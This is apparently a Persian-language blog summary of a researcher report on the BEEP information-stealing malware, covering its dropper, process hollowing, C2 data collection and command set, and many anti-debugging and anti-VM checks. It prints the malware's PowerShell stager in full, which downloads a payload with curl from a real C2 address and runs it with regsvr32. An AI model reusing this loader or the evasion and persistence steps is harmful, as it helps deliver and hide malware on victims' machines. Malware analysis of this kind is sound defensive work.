محققای Minerva یه گزارشی در خصوص یه بدافزار سارق اطلاعات ، بنام BEEP منتشر کردن که اگرچه در حال توسعه هستش اما ویژگی های زیادی برای فرار از شناسایی و آنالیز داره.
این بدافزار به دلیل حجم آپلود بالا در VT مورد توجه این محققا قرار گرفته. این نمونه ها بصورت dll و gif و jpg آپلود شدن و VT اونارو با عنوان spreader و detect-debug-environment برچسب زده.
با بررسی عمیقتر متوجه شدن که این بدافزار از تکنیکهای مختلف anti-debugging و anti-VM استفاده میکنه. یکی از تکنیکهایی که استفاده کرده ، Beep API هستش که برا همین محققا اسمش BEEP گذاشتن.
عملکرد بدافزار :
در ابتدا قابلیت Dropper اجرا میشه . این قسمت توسط big.dll انجام میشه. dropper موارد anti-debugging و anti-vm رو بررسی میکنه اگه شرایط مهیا بود ، Mutex زیر رو ایجاد میکنه.
1 |
\Sessions\2\BaseNamedObjects\{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6} |
در ادامه یه کلید رجیستری جدید در HKCU\SOFTWARE\nonresistantOutlivesDictatorial با عنوان AphroniaHaimavati و یه مقدار Base64 ایجاد میکنه. که اگه کدگشایی بشه ، کد پاورشلی زیر رو داریم :
1 |
$nonresistantOutlivesDictatorial = “$env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll”;md $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial;Start-Process (Get-Command curl.exe).Source -NoNewWindow -ArgumentList ‘–url https://37.1.215.220/messages/DBcB6q9SM6 -X POST –insecure –output ‘, $nonresistantOutlivesDictatorial;Start-Sleep -Seconds 40;$ungiantDwarfest = Get-Content $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll | %{[Convert]::FromBase64String($_)};Set-Content $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll -Value $ungiantDwarfest -Encoding Byte;regsvr32 /s $env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll; |
همونطور که مشاهده میکنید ، اسکریپت یه مقداری رو با curl دریافت میکنه و در AphroniaHaimavati.dll ذخیره میکنه و در نهایت این فایل رو با regsvr32.exe اجرا میکنه.
Big.dll همچنین یه scheduled task هم ایجاد میکنه که هر 13 دقیقه اجرا میشه و اسکرپیت پاورشلی ذخیره شده در رجیستری رو اجرا میکنه.
هدف AphroniaHaimavati.dll تزریق کد هستش که بعد از اجرای یسری تکنیکهای جدید anti-debugging و anti-vm انجام میشه.
پیلود مخرب با استفاده از تکنیک Process Hollowing به پروسس WWAHost.exe تزریق میشه. بدافزار با اضافه کردن ویژگی های والد ، پروسس explorer.exe رو بعنوان والد WWAHost.exe قرار میده.
بعد از تزریق پیلود هم ،دوباره محیط برای شناسایی محیط آنالیز بررسی میشه و اگه مورد تایید باشه Mutex زیر ایجاد میشه :
1 |
\Sessions\2\BaseNamedObjects\{99C10657-633C-4165-9D0A-082238CB9FE0} |
در ادامه اطلاعات قربانی جمع آوری شده و در قالب json به C2 ارسال میشه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
“{“uuid”: “uuid“, “stream”: “bb_d2@T@dd48940b389148069ffc1db3f2f38c0e”, “os_version”: “victims_os_version including build number“, “product_number”: 48, “username”: “username retrieved by using GetUserNameW API function“, “pc_name”: “computer name retrieved by using GetComputerNameW API function“, “cpu_name”: “cpu_name“, “arch”: “system architecture (x64/x86)“, “pc_uptime”: 38209906, “gpu_name”: “gpu name retrieved by EnumDisplayDevicesW API function“, “ram_amount”: “ram amount retrieved by using GlobalMemoryStatusEx API function”, “screen_resolution”: “screen resolution“, “version”: “0.1.7”, – possibly the malwares version “av_software”: “unknown“, “domain_name”: “”, “domain_controller_name”: “unknown“, “domain_controller_address”: “unknown“}” |
بدافزار مقدار user_id=Him3xrn9e&team_id=JqLtxw1h رو به داده های جمع آوری شده اضافه کرده و بعدش همه رو قبل ارسال رمزگذاری میکنه.
با توجه به اینکه موقع تحلیل بدافزار ، C2 دیگه آفلاین شده بود محققا تونستن یسری دستور رو شناسایی کنن.
دستور | توضیحات |
balancer | هنوز پیاده سازی نشده |
init | هنوز پیاده سازی نشده |
screenshoot | جمع آوری لیست پروسس های در حال اجرا |
task | هنوز پیاده سازی نشده |
destroy | هنوز پیاده سازی نشده |
shellcode | اجرای شلکدهای بیشتر |
dll | اجرای یه DLL |
exe | اجرای یه EXE |
Additional | جمع آوری اطلاعات بیشتر |
knock_timeout | تغییر مقدار keep-alive سرور C2 |
پیلود تزریق شده هم دارای قابلیت Process Hollowing هستش و به نظر هر دو فایل DLL و EXE امکان تزریق به پروسس های دیگه رو دارن.
تکنیکهای فرار از تشخیص و آنالیز :
بدافزار BEEP همونطور که گفته شد از تکنیکهای مختلفی برای فرار از آنالیز و تشخیص استفاده میکنه و این تکنیکهارو هم در مراحل مختلف تکرار میکنه. در این قسمت تکنیکهای مورد استفاده برای این منظور رو بررسی میکنیم : (big.dll)
تکنیک Dynamic string deobfuscation :
از این تکنیک برای مبهم سازی رشته های مهمش استفاده کرده. این موارد مبهم شده رو ، در مموری قرار میده و با دستورات اسمبلی ، xor/sub/add/not از حالت مبهم خارج میکنه.
تکنیک بررسی زبان پیشفرض:
این تکنیک بیشتر توسط کشورهای جماهیر شوری سابق مورد استفاده قرار میگیره تا به خودی ها آسیب نزنن. بدافزار از تابع GetUserDefaultLangID برای این کار استفاده میکنه و کشورهای زیر رو مورد حمله قرار نمیده :
a. 419 – Russian
b. 422 – Ukrainian
c. 423 – Belarusian
d. 428 – Tajik
e. 424 – Slovenian
f. 437 – Georgian
g. 43F – Kazakh
h. 843 – Uzbek (Cyrillic)
تکنیک IsDebuggerPresent :
با استفاده از این تابع، فلگ BeingDebugged در PEB ،پروسس جاری رو بررسی میکنه تا چک کنه که پروسس توسط دیباگر user-mode ،در حالت اجراست یا نه.
تکنیک NtGlobalFlag :
با بررسی این فلگ میخواد مطمئن بشه که توسط دیباگر اجرا میشه یا نه .
تکنیک RDTSC :
این دستور مقدار time stamp برای CPU برمیگردونه. خوده time stamp هم مقدار چرخه یا تیک های CPU رو از آخرین باری که ریست شده مشخص میکنه. با بررسی این مقدار میشه محیط VM رو شناسایی کرد.
تکنیک Stack Segment Register :
با بررسی این مورد بدافزار تشخیص میده که در حال رهگیری هستش یا نه. دیباگر بعد از single-stepping ، از طریق دستورات زیر Trap Flag رو ست میکنه.
1 2 3 |
push ss pop ss pushf |
تکنیک CPUID :
با این دستور مقدار رشته Hypervisor Brand رو بدست میاره و بعدش بررسی میکنه که ایا رشته Vmware توش هست یا نه.
تکنیک بررسی کلید رجیستری VBOX :
با استفاده از تابع RegOpenKeyExW وجود کلید زیر رو بررسی میکنه :
1 |
HKLM\HARDWARE\ACPI\DSDT\VBOX__ registry |
تکنیک استفاده از تابع Beep :
بدافزارها معمولا از تابع Sleep برای تاخیر در اجرا استفاده میکنن اما در این بدافزار از تابع BEEP استفاده شده. این تابع یه صدا روی اسپیکر ایجاد میکنه و تا زمانی که صدا تموم نشده به تابع فراخوانی شده برنمیگرده. بدافزار از این ویژگی برای تاخیر استفاده کرده.
مواردی که در ادامه اومده ، مرتبط با تکنیکهای فرار از تشخیص و شناسایی برای AphroniaHaimavati.dll هستش :
تکنیک INT 3 :
دستور INT 3 بیانگر یه وقفه هستش که بعنوان BreakPoint شناخته میشه. اگه در دیباگر به این دستور برسیم ، کنترل به دیباگر داده میشه و اگه در محیط غیر دیباگر به این دستور برسیم یه استثناء EXCEPTION_BREAKPOINT (0x80000003) ایجاد شده و exception handler فراخوانی میشه. با بررسی این مورد میشه محیط دیباگینگ رو شناسایی کرد.
تکنیک INT 2D :
مشابه دستور بالاست اما در این مورد مقدار رجیستری EIP به عنوان آدرس استثناء استفاده میشه و مقدار رجیستری EIP رو یه واحد زیاد میکنه. این افزایش باعث مشکل در برخی دیباگرها میشه که بدافزارها از اون برای تشخیص محیط دیباگ استفاده میکنن.
تکنیک CheckRemoteDebuggerPresent :
مشخص میکنه که آیا یه دیباگر به پروسس فعلی attach شده یا نه.
تکنیک IsDebuggerPresent :
مشخص میکنه که پروسس فعلی با یه دیباگر user-mode دیباگ میشه یا نه.
تکنیک ProcessDebugPort:
با استفاده از NtQueryInformationProcess شماره پورت دیباگر برای پروسس بدست میاره. اگه مقدارش غیر صفر باشه مشخص کننده اینه که پروسس در داخل دیباگر user-mode در حال اجراست.
تکنیک VirtualAlloc / GetWriteWatch :
یه تکنیک آنتی دیباگینگ هستش که به ندرت مورد استفاده قرار میگیره. در این تکنیک صفحاتی از حافظه که بعنوان committed memory هستن رو شناسایی میکنه و از این طریق میتونه محیط دیباگ رو شناسایی کنه.
تکنیک OutputDebugString :
این تکنیک هم برای شناسایی دیباگر هستش. با فراخونی این تابع ، یه رشته به دیباگر ارسال میشه. اگه دیباگر attach شده باشه ، مقدار EAX یه آدرس معتبر در فضای آدرس پروسس، هستش.
تکنیک QueryPerformanceCounter و GetTickCount64 :
اگه یه پروسس داخل دیباگر اجرا بشه ، یه تاخیری بین اجرای دستورات وجود داره. با بررسی این تاخیر میشه ، محیط دیباگر رو شناسایی کرد.
نمونه بدافزار:
برای تحلیل و تمرین بیشتر میتونید نمونه این بدافزارهارو از اینجا بدست بیارید.